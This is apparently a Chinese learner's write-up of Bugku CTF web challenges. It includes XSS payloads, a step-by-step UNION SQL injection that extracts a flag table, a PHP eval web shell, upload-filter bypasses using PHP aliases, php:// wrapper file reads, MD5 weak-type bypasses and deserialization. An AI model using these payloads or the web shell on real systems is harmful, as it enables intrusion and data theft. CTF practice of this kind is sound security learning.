先来最简单的弹窗
?id=<srcipt>altert(/xss/)script>
查看源码
发现<>被过滤掉了
这里学到一个技巧,就是用Unicode编码绕过
payload:?id=\u003cimg src=1 onerror=alert(_key_)\u003e
这种题就是编程题
上脚本,注意这题是用margin。。。。查看源码可知
#coding:utf-8
import requests
import base64
url ='http://120.24.86.145:8002/web6/'
r =requests.session()
headers = r.get(url).headers
#flag = head['Flag'].split(':')[0] 注意response的键
#print flag
flag = base64.b64decode(base64.b64decode(headers['flag']).split(':')[1])
data={'margin':flag}
print r.post(url=url,data=data).content #.text
进去一看是条代码审计题目
这里加上别人跟自己对于正则的常规总结
1.表达式直接写出来的字符串直接利用,如key
2.“.”代表任意字符
3.“*”代表一个或一序列字符重复出现的次数,即前一个字符重复任意次,这里可以是0次,还有就是以'^'开头,以'$'结束
4.“\/”代表“/”,一种转义,因为单独的//代表着正则的开始与结束
5.[a-z]代表a-z中的任意一个字符
6.[[:punct:]]代表任意一个字符,包括各种符号,记得是符号
7./i代表大小写不敏感
8.{4-7}代表[0-9]中数字连续出现的次数是4-7次
9.\s匹配任意的空白符
10.\d 匹配数字
11.\b 匹配单词的开始或结束
自己的payload:?id=keyakey1111key:/a/akeya@
这个题目又学到了新知识
利用了file_get_contents的特性,当用到php://input的时候,file_get_contents支持字节流输入,只要构造php://input,且post数据过去即可
payload:?ac=1&php://input然后再post一个 1即可
这一道题目又学到新知识。。。。
用PHP别名来绕过。。。php2, php3, php4, php5, phps, pht, phtm, phtml
然后参考了大佬们的wp
发现这一题还要把Content-Type: multipart/form-data; 改成大小写绕过的形式,改为Content-Type: Multipart/form-data;
然后用别名去尝试php5的时候出现flag
查看源码,发现有一个1p.html
打开一看里面有js代码,直接放到控制台里面看一下
发现跳转到论坛,然后不知道要干嘛。。。。。
还是先转义一下那段东西吧,先urldecode,再发现里面有base64,然后再一次urldecode发现一段代码
发现有一个txt文件,不管那么多,先访问一下
得到flag
这个一句话是get方式发送数据
先了解一些函数
phpinfo()函数查看信息
看看根目录下有哪些文件
print_r(scandir("./"))
print_r(glob("*"))
发现有一个flag.txt,直接访问即可,也可以用下面的函数打印出来
一些常用的输出文件内容
print_r(file('flag.txt')),这里的print_r换成var_dump也行
show_source("flag.txt")
因为题目提示hint,于是就输入?hint
原来是代码审计题目
考了一个反序列化的知识点
构造payload,但是注意代码中if-else的范围,倒数第二行中确实为变量KEY赋值了,但是它是在另一个else里
在进行严格比较前,变量KEY的值并没有被赋值
所以KEY为空值
然后在bp上构建payload
打开一看一串东西,题目不是说是备份是个好东西吗。。备份的话就会想到源码泄露之类的东西,这里介绍一个好用的东西
SourceLeakHacker
上去一扫,发现文件
两种payload:
第一种是利用MD5函数返回false的,第二种是弱类型,MD5之后是0e开头的
?kkeyey1[]=1&kkeyey2[]=2
?kkeyey1=QNKCDZO&kkeyey2=s878926199a
脚本题。。。。这是某位大佬的代码
import re
import requests
s = requests.Session()
r = s.get("http://120.24.86.145:8002/qiumingshan/")
searchObj = re.search(r'^(.*)=\?;$', r.text, re.M | re.S)
d = {
"value": eval(searchObj.group(1))
}
r = s.post("http://120.24.86.145:8002/qiumingshan/", data=d)
print(r.text)
找来找去页面就发现这种东西
然后扫描以下网站
发现以下几个网站
其中最有利用价值的是phpmyadmin,用刚才的那个wp那个东西登录即可。。
这题真是太坑。。。。哪有什么注入。。。
我是看到别人wp说直接扫目录即可。。。
找到一个叫flag的东西下载下来,真的气死
简单的post注入,什么过滤都没有。。。
先尝试” 报错,然后构造语句
admin_name=-1" union select order by 2#&admin_passwd=&submit=GO GO GO
admin_name=-1" union select 1,2#&admin_passwd=&submit=GO GO GO 确定回显
admin_name=-1" union select database(),2#&admin_passwd=&submit=GO GO GO
admin_name=-1" union select group_concat(table_name),2 from information_schema.tables where table_schema=daTABASE()#&admin_passwd=&submit=GO GO GO
admin_name=-1" union select group_concat(column_name),2 from information_schema.columns where table_name='flag1'#&admin_passwd=&submit=GO GO GO
admin_name=-1" union select flag1,2 from `flag1`#&admin_passwd=&submit=GO GO GO
两种绕过方法
=@eval($_POST['cmd']);
然后就是upload.php中是不能以php运行的
参考下面这一篇文章
http://www.freebuf.com/articles/web/124537.html
既可以很快构造payload了
随便一个用户名加上一个超过它数据库规定的长度即可
抓包发现源码
出现file_get_contents,绕过第一层,然后用伪协议读取文件
得到base64编码然后解码得到下面的代码
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "
";
return ("good");
}
}
}
?>
感觉还是少了点东西,再用同样的方法查看index.php
这一下就感觉比较全了
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!
";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>